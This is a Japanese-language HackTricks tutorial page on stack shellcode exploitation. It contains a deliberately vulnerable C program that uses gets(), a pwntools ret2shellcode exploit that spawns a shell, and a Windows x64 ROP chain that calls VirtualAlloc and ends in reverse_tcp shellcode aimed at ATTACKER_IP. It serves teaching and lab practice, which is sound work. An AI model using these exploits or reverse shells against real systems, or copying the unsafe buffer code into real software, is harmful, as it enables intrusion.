Stack Shellcode
Reading time: 12 minutes
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
Stack shellcode は binary exploitation で用いられる手法で、攻撃者が脆弱なプログラムのスタック上に shellcode を書き込み、続いて Instruction Pointer (IP) や Extended Instruction Pointer (EIP) をこの shellcode の位置に変更して実行させます。これはターゲットシステム上で不正アクセスを得たり任意のコマンドを実行するための古典的な手法です。以下にプロセスの内訳を示します。簡単な C の例と、pwntools を使って Python で対応する exploit を書く方法も含みます。
Cの例: 脆弱なプログラム
まずは脆弱な C プログラムの簡単な例を示します:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
このプログラムは、gets() 関数の使用によりバッファオーバーフローの脆弱性があります。
Compilation
さまざまな保護機能を無効化して(脆弱な環境をシミュレートするため)、このプログラムをコンパイルするには、次のコマンドを使用できます:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-fno-stack-protector: スタックプロテクションを無効にします。-z execstack: スタックを実行可能にします。スタックに格納された shellcode を実行するために必要です。-no-pie: Position Independent Executable (PIE) を無効にします。これにより、shellcode が配置されるメモリアドレスを予測しやすくなります。-m32: プログラムを 32-bit 実行ファイルとしてコンパイルします。exploit 開発で簡便さのために用いられることが多いです。
Pwntoolsを使った Python Exploit
以下は、pwntools を使用して ret2shellcode 攻撃を行うために Python で exploit を書く方法です:
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
This script constructs a payload consisting of a NOP slide, the shellcode, and then overwrites the EIP with the address pointing to the NOP slide, ensuring the shellcode gets executed.
このスクリプトは、NOP slide、shellcode を含むペイロードを構築し、その後 EIP を NOP slide を指すアドレスで上書きして、shellcode が実行されるようにします。
The NOP slide (asm('nop')) is used to increase the chance that execution will "slide" into our shellcode regardless of the exact address. Adjust the p32() argument to the starting address of your buffer plus an offset to land in the NOP slide.
NOP slide(asm('nop'))は、正確なアドレスに関係なく実行が shellcode に「スライド」して入る確率を高めるために使います。p32() の引数は、バッファの開始アドレスにオフセットを加え、NOP slide に到達するよう調整してください。
Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
On modern Windows the stack is non-executable (DEP/NX). A common way to still execute stack-resident shellcode after a stack BOF is to build a 64-bit ROP chain that calls VirtualAlloc (or VirtualProtect) from the module Import Address Table (IAT) to make a region of the stack executable and then return into shellcode appended after the chain.
最新の Windows ではスタックは非実行(DEP/NX)になっています。スタック上の shellcode をスタックの BOF 後でも実行する一般的な方法は、モジュールの Import Address Table (IAT) にある VirtualAlloc(または VirtualProtect)を呼ぶ 64-bit ROP チェーンを組んでスタックの一部を実行可能にし、チェーンの直後に置いた shellcode にリターンすることです。
Key points (Win64 calling convention): 重要な点(Win64 呼び出し規約):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → choose an address in the current stack (e.g., RSP) so the newly allocated RWX region overlaps your payload
- RCX = lpAddress → 現在のスタック内のアドレス(例:RSP)を選び、新しく確保される RWX 領域がペイロードと重なるようにする
- RDX = dwSize → large enough for your chain + shellcode (e.g., 0x1000)
- RDX = dwSize → チェーンと shellcode を収めるのに十分な大きさ(例:0x1000)
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Return directly into the shellcode placed right after the chain.
- チェーンの直後に置いた shellcode に直接リターンする
Minimal strategy: 最小限の戦略:
-
Leak a module base (e.g., via a format-string, object pointer, etc.) to compute absolute gadget and IAT addresses under ASLR.
- Leak a module base(例:format-string、object pointer などを用いて)して、ASLR 下での絶対 gadget と IAT アドレスを算出する。
-
Find gadgets to load RCX/RDX/R8/R9 (pop or mov/xor-based sequences) and a call/jmp [VirtualAlloc@IAT]. If you lack direct pop r8/r9, use arithmetic gadgets to synthesize constants (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000). 2) RCX/RDX/R8/R9 に値をロードするための gadget(pop や mov/xor 系のシーケンス)と call/jmp [VirtualAlloc@IAT] を見つける。直接 pop r8/r9 が無い場合は、算術 gadget を使って定数を合成する(例:r8=0 にして r9 に 0x40 を40回加算して 0x1000 に到達させる)。
-
Place stage-2 shellcode immediately after the chain. 3) stage-2 shellcode をチェーンの直後に配置する。
Example layout (conceptual): 概念的なレイアウト例:
# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
制約されたgadgetセットでは、レジスタ値を間接的に作成できます。例えば:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → r9をrbxから設定し、r8を0にし、ジャンク qwordでスタックを補正する。
- xor rbx, rsp; ret → 現在のスタックポインタでrbxを初期化する。
- push rbx; pop rax; mov rcx, rax; ret → RSPから得た値をRCXに移す。
Pwntools sketch (given a known base and gadgets):
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
rop = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
ヒント:
-
VirtualProtect は既存のバッファを RX にする方が望ましい場合に同様に動作しますが、パラメータの順序が異なります。
-
stack の空きが厳しい場合は、RWX を別の場所に割り当て(RCX=NULL)し、stack を再利用する代わりにその新しい領域へ jmp してください。
-
RSP を調整する gadgets(例: add rsp, 8; ret)を常に考慮し、junk qwords を挿入して対処してください。
-
ASLR 無効化する必要があります。そうしないと、関数が格納されるアドレスが実行ごとに変わってしまい、win関数がどこにロードされているかを把握するために leak が必要になります。
-
Stack Canaries も無効にする必要があります。そうでないと、改竄された EIP のリターンアドレスが正しく実行されません。
-
NX stack 保護は、該当領域が実行不可になるため、stack 内の shellcode の実行を阻止します。
Other Examples & References
- https://ir0nstone.gitbook.io/notes/types/stack/shellcode
- https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
- 64bit、ASLR が有効で stack アドレスの leak があるケース。shellcode を書き込み、それにジャンプする。
- https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
- 32 bit、ASLR が有効で stack の leak があるケース。shellcode を書き込み、それにジャンプする。
- https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
- 32 bit、ASLR が有効で stack の leak があり、exit() の呼び出しを防ぐための比較を行い、変数を上書きして値を設定し、shellcode を書き込んでジャンプするケース。
- https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64、ASLR なし、ROP gadget を使って stack を実行可能にし、stack 内の shellcode にジャンプする。
References
tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:
HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks